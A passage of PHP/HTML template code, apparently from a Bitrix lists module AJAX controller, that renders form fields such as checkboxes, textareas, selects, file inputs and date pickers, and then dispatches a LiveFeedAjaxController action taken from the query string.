				<tr <?= $style ?>>
					<td class="bx-lists-table-first-td">
						<?=htmlspecialcharsbx($field['name'])?>: <?= $required ?>
					</td>
					<?
					switch($field['type']):
						case 'label':
						case 'custom':
							?><td><?
							$spanOne = '';
							$spanTwo = '';
							if (!empty($field["realType"]))
							{
								switch ($field["realType"])
								{
									case "select":
									case "internalselect":
									case "E:EList":
									case "bool":
										$spanOne = '<span class="bx-bp-select">';
										$spanTwo = '</span>';
										break;
								}
							}
							echo $spanOne.$customHtml.$spanTwo;
							?></td><?
							break;
						case 'checkbox':
							?>
							<td>
								<input type="hidden" name="<?=$field['id']?>" value="N">
								<input type="checkbox" name="<?=$field['id']?>" value="Y"
									<?=($customHtml == "Y"? ' checked':'')?><?=HtmlFilter::encode($params)?>>
							</td>
							<?
							break;
						case 'textarea':
							?>
							<td>
								<textarea name="<?=$field['id']?>"<?=HtmlFilter::encode($params)?>><?=$customHtml?></textarea>
							</td>
							<?
							break;
						case 'list':
							$class = '';
							if(!empty($params))
							{
								$class = 'bx-bp-select-linking';
								$spanOne = '';
								$spanTwo = '';
							}
							else
							{
								$spanOne = '<span class="bx-bp-select">';
								$spanTwo = '</span>';
							}

							?><td>
							<?= $spanOne ?>
						<select name="<?=$field['id']?>"<?=HtmlFilter::encode($params)?> class="<?= $class ?>">
							<?
							if(is_array($field['items'])):
								if(!is_array($customHtml))
									$customHtml = array($customHtml);
								foreach($field['items'] as $k=>$v):?>
									<option value="<?=htmlspecialcharsbx($k)?>"
										<?=(in_array($k, $customHtml)? ' selected':'')?>>
										<?=htmlspecialcharsbx($v)?></option>
								<? endforeach; ?>
								</select>
								<?= $spanTwo ?>
								</td>
								<?
							endif;
							break;
						case 'file':
							?>
							<td>
								<span class="file-wrapper">
									<span class="bx-lists-input-file">
										<span class="webform-small-button bx-lists-small-button">
											<?= Loc::getMessage('LISTS_SEAC_FILE_ADD') ?></span>
										<input name="<?= $field['id'] ?>"
										       size="<?= HtmlFilter::encode($field['params']['size']) ?>" type="file">
									</span>
									<span class="fileformlabel bx-lists-input-file-name"></span>
								</span>
							</td>
							<?
							break;
						case 'date':
							?>
							<td>
								<input class="bx-lists-input-calendar" value="<?=$customHtml?>" type="text"
								       name="<?= $field['id'] ?>" onclick="BX.calendar({node: this.parentNode,
								       field: this, bTime: true, bHideTime: false});">
								<span class="bx-lists-calendar-icon" onclick="BX.calendar({node:this,
									field:'<?= $field['id'] ?>', form: '', bTime: true, bHideTime: false});"
								      onmouseover="BX.addClass(this, 'calendar-icon-hover');"
								      onmouseout="BX.removeClass(this, 'calendar-icon-hover');" border="0"></span>
							</td>
							<?
							break;
						default:
							?>
							<td>
								<input type="text" name="<?=$field['id']?>" value="<?=$customHtml?>"<?=HtmlFilter::encode($params)?>>
							</td>
							<?
							break;
					endswitch;
					?>
				</tr>

			<? endforeach ?>
		</table>

		<?
	}
}
$controller = new LiveFeedAjaxController();
$controller
	->setActionName(\Bitrix\Main\Application::getInstance()->getContext()->getRequest()->getQuery('action'))
	->exec();